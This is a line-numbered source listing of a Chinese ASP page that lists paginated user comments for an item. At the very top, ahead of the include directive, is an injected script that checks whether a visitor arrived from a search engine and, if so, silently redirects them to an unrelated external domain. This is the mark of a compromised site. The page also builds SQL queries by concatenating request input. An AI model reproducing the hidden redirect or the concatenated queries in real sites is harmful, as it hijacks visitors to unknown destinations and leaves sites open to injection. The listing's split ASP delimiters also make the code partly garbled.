d:\wwwroot\wuchunhua\allreply.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file="inc/kqiqi_sub.asp"-->
003:
<%
004:
xxid=CheckStr(request("id"),0)
005:
set rs=server.createobject("ADODB.recordset")
006:
sql = "select * from kqiqi_info where id="&xxid&""
007:
rs.open sql,conn,1,1
008:
biaoti=rs("biaoti")
009:
xurl=rs("xurl")
010:
rs.close
011:
set rs=nothing
012:
%
>
013:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
014:
<html xmlns="http://www.w3.org/1999/xhtml">
015:
<head>
016:
<title>
<%
=biaoti
%
>-所有评论-
<%
=title
%
></title>
017:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
018:
<meta http-equiv="Content-Language" content="zh-cn" />
019:
<meta name="Keywords" content="
<%
=metakey
%
>" />
020:
<meta name="Description" content="
<%
=metades
%
>" />
021:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
022:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
023:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
024:
</head>
025:
<body>
026:
<div id="Fmain">
027:
<div id="header">
028:
<%
call top()
%
>
029:
</div>
030:
<div class=kon></div>
031:
<div id=FFTit class=F12bold><a href="/">首页</a>-<a href="#">所有评论</a></div><div id=FFContent><div Class='FFdiv'>
032:
<%
033:
if request("page")="" then
034:
ThisPage=1
035:
else
036:
ThisPage=request("page")
037:
end if
038:
dim cla1,endtime,bt,nr
039:
set rsso=server.createobject("ADODB.recordset")
040:
sql = "select * from reply where xxid='"&xxid&"' order by hfsj desc"
041:
rsso.open sql,conn,1,1
042:
if rsso.eof then
043:
response.write "还没有相关信息！"
044:
else
045:
Pagesize=rsso.Pagesize
046:
Allrecord=rsso.Recordcount
047:
Allpage=rsso.Pagecount
048:
if ThisPage<1 then
049:
ThisPage=1
050:
end if
051:
On Error Resume Next
052:
rsso.move (ThisPage-1)*Pagesize
053:
%
>
054:
<table topmargin="0" leftmargin="0" bottommargin="0" rightmargin="0" cellspacing="0" cellpadding="0" width="965">
055:
<tr><td colspan="2" style="border-left-width: 1px; border-right-width: 1px; border-top: 1px; border-bottom-width: 1px; background-color: #F2F2F2" height="25">
056:
<a href="
<%
=xurl
%
>">
<%
=biaoti
%
></font></a>
057:
共有<b>
<%
=Allrecord
%
></b>条相关评论信息 <a href="
<%
=xurl
%
>#RE"><font color="#FF0000">继续发布评论>>></font></a></td></tr>
058:
<tr><td align="center" valign="top" width="100%"><div class=h></div>
059:
<table border="0" width="100%" id="table1" style="border-collapse: collapse" cellspacing="2">
060:
<%
061:
b=trim(rsso("b"))
062:
dim k,bgc
063:
Counter=0
064:
for k = 1 to 10
065:
if not rsso.eof then
066:
bgc="ffffff"
067:
if k mod 2 =1 then
068:
bgc="F5F8F8"
069:
else
070:
bgc="ffffff"
071:
end If
072:
response.write "<tr bgcolor=#"&bgc&"><td style=""border-bottom:1px #CCCCCC dotted"">"
073:
response.write "<li>↓该留言由<b>"
074:
if rsso("username")<>"" then
075:
response.write ""&rsso("username")&""
076:
else
077:
response.write "匿名用户"
078:
end if
079:
response.write "</b>在<b>"&rsso("hfsj")&"</b>发布<br>"&CheckStr(rsso("neirong"),6)&" "
080:
response.write "</td></tr>"
081:
else
082:
exit for
083:
end if
084:
rsso.movenext
085:
next
086:
rsso.close
087:
set rsso=nothing
088:
%
>
089:
</table>
090:
<table border="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111" bgcolor="#F2F2F2" width="100%">
091:
<tr>
092:
<td height="25" width="119">
093:
<p align="center">
094:
共有 <font color="#CC5200">
<%
=Allrecord
%
></font> 条记录</td>
095:
<td height="25" width="97">
096:
<p align="center">共 <font color="#CC5200">
<%
=Allpage
%
></font> 页</td>
097:
<td height="25" width="123">
098:
<p align="center">现在是第
099:
<font color="#CC5200">
<%
=ThisPage
%
></font> 页</td>
100:
<td height="25" align="right">
101:
<%
102:
if ThisPage<2 then
103:
response.write "<font color=""#808080"">首页</font> "
104:
response.write "<font color=""#808080"">上一页</font> "
105:
else
106:
response.write "<a href=?page=1&id="&xxid&">首页</a> "
107:
response.write "<a href=?page="&ThisPage-1&"&id="&xxid&">上一页</a> "
108:
end if
109:
if Allpage-ThisPage<1 then
110:
response.write "<font color=""#808080"">下一页</font> "
111:
response.write "<font color=""#808080"">尾页</font> "
112:
else
113:
response.write "<a href=?page="&(ThisPage+1)&"&id="&xxid&">下一页</a> "
114:
response.write "<a href=?page="&Allpage&"&id="&xxid&">尾页</a> "
115:
end if
116:
%
>
117:
</td></tr></table>
<%
end if
%
>
118:
<table width="965 "><tr><td>
119:
<b><a href="
<%
=xurl
%
>"><font size="5"><p style="line-height: 200%; margin-top: 0; margin-bottom: 0">
<%
=biaoti
%
></font></a> <a href="
<%
=xurl
%
>#RE"><font color="#FF0000">继续发布留言>>></font></a></b></p>
120:
</td></tr></table>
121:
</div>
122:
</div>
123:
<br style="clear:both;" />
124:
<div class=kon></div>
125:
<div class=kon></div>
126:
<div id="footer">
127:
<%
128:
call bottom()
129:
%
>
130:
</div>
131:
</div>
132:
</body>
133:
</html>
134:
135: